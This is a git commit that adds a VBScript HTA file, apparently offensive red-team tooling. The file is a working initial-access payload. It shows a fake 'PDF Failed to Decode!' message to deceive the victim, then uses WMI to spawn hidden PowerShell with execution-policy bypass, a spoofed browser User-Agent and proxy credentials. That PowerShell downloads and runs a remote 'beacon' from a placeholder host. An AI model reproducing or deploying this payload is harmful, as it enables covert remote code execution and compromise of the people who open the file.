Merge pull request killswitch-GUI#2 from enigma0x3/patch-2

killswitch-GUI · web-flow · commit d0519fc55d28 · 2016-06-29T13:52:26.000-04:00
Create vbscript-wmi.hta
diff --git a/vbscript-wmi.hta b/vbscript-wmi.hta
@@ -0,0 +1,8 @@
+<script language="VBScript">
+Msgbox "Client name (PDF Failed to Decode!)"
+Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator") 
+Set objServices = objSWbemLocator.ConnectServer(".", "\root\cimv2")
+set objProcess = objServices.Get("Win32_Process")
+objProcess.Create("powershell.exe -exec bypass -w hidden -command $wc = New-Object System.Net.Webclient; $wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64;Trident/7.0; AS; rv:11.0) Like Gecko'); $wc.proxy= [System.Net.WebRequest]::DefaultWebProxy; $wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX ($wc.downloadstring('http://site.org/beacon'))")
+self.close
+</script>
